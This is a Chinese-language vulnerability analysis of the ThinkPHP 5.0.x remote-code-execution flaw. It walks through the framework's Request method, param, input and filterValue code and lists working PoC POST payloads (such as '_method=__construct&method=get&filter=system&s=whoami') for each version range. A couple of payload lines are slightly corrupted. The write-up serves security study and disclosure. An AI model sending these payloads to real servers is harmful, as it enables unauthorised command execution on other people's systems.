|
ThinkPHP远程代码执行分析原创 猫的尾巴 雷神众测 昨天
STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
安恒西安运营中心
NO.1 总述
在版本小于5.0.13,不开启debug的情况下 会通过变量覆盖修改$request类的变量的值通过bindParams中的param函数进行任意函数调用
_method=__construct&method=get&filter=system&s=whoami
在版本小于5.0.13,开启debug的情况下会执行命令两次 一次在bindParams的param 一次在run()中的param函数
_method=__construct&method=get&filter=system&s=whoami
在版本大于5.0.13小于5.0.21情况下,开启debug的情况下,在run()中的param函数执行命令
_method=__construct&method=get&filter=system&s=whoami
在版本大于5.0.13小于5.0.21情况下,不开启debug的下需要完整版thinkphp,在method分支下param函数rce
POST /index.php?s=captcha
_method=__construct&method=get&filter=system&s=whoami
在大于5.0.21小于等于5.0.23的情况下,由于修改了method函数的逻辑,无法随意用变量,这里统一用只能用get[],route[]。
完整版ThinkPHP如下
POST /index.php?s=captcha
_method=__construct&method=get&filter=system&get[]=whoami
_method=__construct&method=get&filter=system&route[]=whoami
开启debug如下
_method=construct&method=get&filter=system&route[]=whoami
在5.0.24的时候由于限制了表单请求伪装传入的参数,传入的参数只能为限定的参数,无法进行request类下任意函数调用
NO.2 POC1
ThinkPHP<=5.0.23 需要开启debug
a=system&b=whoami&_method=filter
漏洞定位
通过debug发现是在第127行调用了$request->param()函数之后导致了rce,那跟进一下该函数,发现是在该函数里面调用了input函数,而input函数里存在一个filterValue函数,该函数里调用了call_user_func函数从而导致任意php代码执行。(后面发现是存在array_walk_recursive函数,通过隐式调用filterValue造成了RCE)(由于该处代码是开启了debug之后才会调用的代码,所以此处略鸡肋,需要开启debug)
漏洞分析
那么此时这里是调用了$request变量,这个变量是一个Request对象的实例,那么看一下这个实例是在哪里构建的,通过之前的路由流程分析可以知道在调用了routeCheck之后,$request变量里面便有了数据,跟进该函数,通过之前的路由流程分析可以得知,在routeCheck函数的第618行数获取路径信息,第619-640行都是在获取默认配置,到第642行这里调用了Route::check函数,根据之前的分析可知,在该check函数的第848行,调用了$request->method函数,在里面根据请求模式进行了赋值,这里debug断点看一下。
先贴代码
- public function method($method = false)
- {
- if (true === $method) {
- // 获取原始请求类型
- return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
- } elseif (!$this->method) {
- if (isset($_POST[Config::get('var_method')])) {
- $this->method = strtoupper($_POST[Config::get('var_method')]);
- $this->{$this->method}($_POST);
- } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
- $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
- } else {
- $this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
- }
- }
- return $this->method;
- }
- public function param($name = '', $default = null, $filter = '')
- {
- if (empty($this->param)) {
- $method = $this->method(true);
- // 自动获取请求变量
- switch ($method) {
- case 'POST':
- $vars = $this->post(false);
- break;
- case 'PUT':
- case 'DELETE':
- case 'PATCH':
- $vars = $this->put(false);
- break;
- default:
- $vars = [];
- }
- // 当前请求参数和URL地址中的参数合并
- $this->param = array_merge($this->get(false), $vars, $this->route(false));
- }
- if (true === $name) {
- // 获取包含文件上传信息的数组
- $file = $this->file();
- $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
- return $this->input($data, '', $default, $filter);
- }
- return $this->input($this->param, $name, $default, $filter);
- }
复制代码
可以看到,此处是直接调用的所以为缺省变量,进入第二层,注意这里判断了是否存在POST传入的Config::get('var_method'),该值在ThinkPHP中的默认配置为_method,poc里传入了该参数,那么进入该分支,这里把$this->method(也就是$request->$method)变量赋值为传入的_method,然后调用$this->{$this->method}($_POST);这里是一个隐式调用,此时$this->$method的值为filter,就相当于调用了$this->filter($_POST)函数,那么该操作完成后$request的filter变量里存着post传入的数据,注意该参数均可控,那就导致了该行代码可以调用Request类的任意函数,此时$request->$method 为filter。
接着根据之前的路由流程可以得知,后面的操作主要是进行参数赋值。
直接进入到发生命令执行的param函数处,跟进该函数,可以看到该函数根据method类型来进行switch case,这里是post,进入post函数,该post函数也调用了input,但是因为传入的$name=false所以直接在input函数的第三行return了回去。
所以继续往下走,调用$this->input函数,此时传入四个参数,$this->param为post传入的数据,$name为空,$default为空,$filter也为空,进入该函数,该函数先把$name转为字符串,然后调用$this->getFilter函数,跟进该函数$filter被赋值为$this->$filter,然后将$filter转为数组,并给$filter[0]赋值为null,然后return。
接下来调用了array_walk_recursive,该函数是一个回调函数,只不过参数为数组,第一个。这里数组是传入的$data,此时data是一个数组,里面放的是POST传进来的数据,然后$filter是$data数组里加了一个0=null,然后第二个参数就是回调的函数,跟进此函数发现确实进入了filterValue函数,首先把数组中最后一个值弹出来,那么此时弹出来的就是刚刚赋值为null的,所以此时$default为null,然后对$filter进行一个循环,当函数可以调用的时候进入call_user_func函数,也就是命令执行的点,此时$filter为$filters的值,$value是data数组的值。然后通过call_user_func进行调用。那么根据传入的POST数据首先是system('system'),那么肯定执行失败,然后第二个$filter为whoami,此时会判断该函数是否可以被调用,那么显然不可以,然后就直接进入break终止了该次循环,然后调用data数组的第二个值为whoami,然后此时$filter为第一个值为system,那么此时call_user_func就顺利执行了,成功执行了system函数。
- public function input($data = [], $name = '', $default = null, $filter = '')
- {
- if (false === $name) {
- // 获取原始数据
- return $data;
- }
- $name = (string) $name;
- if ('' != $name) {
- // 解析name
- if (strpos($name, '/')) {
- list($name, $type) = explode('/', $name);
- } else {
- $type = 's';
- }
- // 按.拆分成多维数组进行判断
- foreach (explode('.', $name) as $val) {
- if (isset($data[$val])) {
- $data = $data[$val];
- } else {
- // 无输入数据,返回默认值
- return $default;
- }
- }
- if (is_object($data)) {
- return $data;
- }
- }
- // 解析过滤器
- $filter = $this->getFilter($filter, $default);
- if (is_array($data)) {
- array_walk_recursive($data, [$this, 'filterValue'], $filter);
- reset($data);
- } else {
- $this->filterValue($data, $name, $filter);
- }
- if (isset($type) && $data !== $default) {
- // 强制类型转换
- $this->typeCast($data, $type);
- }
- return $data;
- }
- private function filterValue(&$value, $key, $filters)
- {
- $default = array_pop($filters);
- foreach ($filters as $filter) {
- if (is_callable($filter)) {
- // 调用函数或者方法过滤
- $value = call_user_func($filter, $value);
- } elseif (is_scalar($value)) {
- if (false !== strpos($filter, '/')) {
- // 正则过滤
- if (!preg_match($filter, $value)) {
- // 匹配不成功返回默认值
- $value = $default;
- break;
- }
- } elseif (!empty($filter)) {
- // filter函数不存在时, 则使用filter_var进行过滤
- // filter为非整形值时, 调用filter_id取得过滤id
- $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
- if (false === $value) {
- $value = $default;
- break;
- }
- }
- }
- }
- return $this->filterExp($value);
- }
复制代码 NO.3 POC2
1、ThinkPHP<5.0.13
_method=__construct&method=get&filter=system&s=whoami
漏洞定位
同样的_method=__construct这个变量表示了还是在走$this->{$this->method}($_POST)这条路
漏洞分析
跟进__construct函数,这里进行了一个循环,这里传入的是一个POST传入的四个键值对,这里执行了$this->(键) = 值,那么经过这个循环之后$request对象里的method的值为get,filter=system
那么此时$this->filter=system ,$this->method=GET,这里要重新把$this->method赋值是为了兼容之前的版本下图是5.0.20的版本,在5.0.8之前 是没有三元判断的,所以在这里如果不重新赋值就会去$rules数组里找$method的值,很显然传入的__construct是不在里面的,所以会导致报错。
这个时候继续跟进代码到exec函数里,switch进入到module分支
进入该函数,根据之前的路由分析可知都是判断,取值操作接着进入invokemethod,前面分析可以知道此处主要实例化了类,然后进行参数绑定最后在执行,进入bindparams函数,会自动获取变量,主要是调用Request类的param函数,这里首先实例化了一个request对象,然后调用了param函数。
跟进该函数,可以看到该函数根据method类型来进行switch case,这里是post,进入post函数,该post函数也调用了input,但是因为传入的$name=false所以直接在input函数的第三行return了回去。
所以继续往下走,调用$this->input函数,此时传入四个参数,$this->param为post传入的数据,$name为空,$default为空,$filter也为空,进入该函数,该函数先把$name转为字符串,然后调用$this->getFilter函数,跟进该函数$filter被赋值为$this->$filter,然后将$filter转为数组,并给$filter[0]赋值为null,然后return。
接下来调用了array_walk_recursive,该函数是一个回调函数,只不过参数为数组,第一个。这里数组是传入的$data,此时data是一个数组,里面放的是POST传进来的数据,然后$filter是$data数组里加了一个0=null,然后第二个参数就是回调的函数,跟进此函数发现确实进入了filterValue函数,首先把数组中最后一个值弹出来,那么此时弹出来的就是刚刚赋值为null的,所以此时$default为null,然后对$filter进行一个循环,当函数可以调用的时候进入call_user_func函数,也就是命令执行的点,此时$filter为$filters的值,$value是data数组的值。然后通过call_user_func进行调用。那么根据传入的POST数据首先是system('system'),那么肯定执行失败,然后第二个$filter为whoami,此时会判断该函数是否可以被调用,那么显然不可以,然后就直接进入break终止了该次循环,然后调用data数组的第二个值为whoami,然后此时$filter为第一个值为system,那么此时call_user_func就顺利执行了,成功执行了system函数。
2、ThinkPHP<=5.0.23 需要开启debug or 完整版的thinkphp
· ThinkPHP<5.0.21 开启debug
_method=__construct&method=get&filter=system&a=whoami
漏洞分析
因为在开启debug后会走debug那条路,所以就可以触发漏洞
· ThinkPHP<5.0.21 完整版ThinkPHP
POST /index.php?s=captcha
_method=__construct&method=get&filter=system&a=whoami
漏洞分析
在5.0.13之后的版本里如果不开启debug的话,那么就会走到exec里面,同时进入self::module里面,该函数存在一行代码$request->filter($config['default_filter']),导致了在这一步之前变量覆盖掉的$request->filter变量会被赋值回去,所以在不开启debug的情况下如果走module就无法覆盖filter的值。
在这个switch里面是通过$dispatch来进行选择的,而这个值是在routecheck这个函数里调用了parseurl赋值给$dispatch的,而且是写死的,所以只要进了parseurl,肯定是没办法继续进行的
但是注意看在App.php里面的第642行$result = Route::check($request, $path, $depr, $config['url_domain_deploy']) 这行代码里如果$result返回不为false的话也就不会进入下面的判断里,跟进642行。
在之前的Thinkphp路由流程分析里可以知道check函数里会进行一系列的替换,然后检测是否存在静态路由,然后判断当$rules不为空的时候进入checkRoute函数,由于完整版的ThinkPHP会注册一个路由为captcha,所以此时$rules变量是有值的会进入该分支。
值如下
进入该函数之后,可以看到是对$rules变量进行了遍历,然后取键值对,校验等等,这里不进行深究,着重看到了第958行调用了checkRule函数,该函数对比了传入的url和路由,进行了校验后最终进入了parseRule,继续往下走最终在1500行。
给$result赋值然后一路return回来到run函数里,接着根据之前的分析进入exec里面,然后进入method分支,然后进入到param分支。最终进入到array_walk_recursive函数,传入的参数data就是传入的post数组,$filter就是被变量覆盖的system,所以此时就遍历了POST传入的参数,遍历到的时候就执行了命令。
· ThinkPHP<=5.0.23
_method=__construct&method=get&filter=system&server[REQUEST_METHOD]=whoami
漏洞分析1
在5.0.21以后method函数发生了改变,进入server函数看一下,当不存在server[REQUEST_METHOD]的时候直接返回GET
同时发现其中也调用了input函数
在param函数里首先会调用$method = $this->method(true);那么刚好满足进入server函数那么由此跟进server函数里,首先判断是否存在$this->server变量,那么因为通过变量覆盖把$this->server[REQUEST_METHOD]赋值为whoami,所以此时是存在变量的所以不会进入该判断,然后进入input函数,此时$this->server为whoami,$filter为覆盖后的system,$name为字符串REQUEST_METHOD,跟进input函数
在1014行,对$name进行分割,然后当存在$data[$val]的时候,也就是$this->server存在REQUEST_METHOD的时候把$this->server['REQUEST_METHOD']赋值给$data,所以此时$data是一个字符串,那么就会进入filterValue函数,然后在该函数中调用,其中$filter为变量覆盖后的值,值为system,$value的值为$data也就是whoami
漏洞分析2
此时由于前面5.0.21版本的改动导致了$method为GET也就无法进入switch case所以$vars为空。
如果要继续进入input函数,并且$this->param变量可控,就要在param最后一行代码处,控制$this->param,而$this->param是在652行,构造的所以可以通过变量覆盖来覆盖$param,$get,$route这三个变量
所以poc就可以改为
_method=__construct&method=get&filter=system&get[]=whoami
_method=__construct&method=get&filter=system¶m[]=whoami
_method=__construct&method=get&filter=system&route[]=whoami
但是由于param在route函数里被重写了所以此处param不能复写
所以最终的poc就为
_method=__construct&method=get&filter=system&get[]=whoami
_method=__construct&method=get&filter=system&route[]=whoami
|
|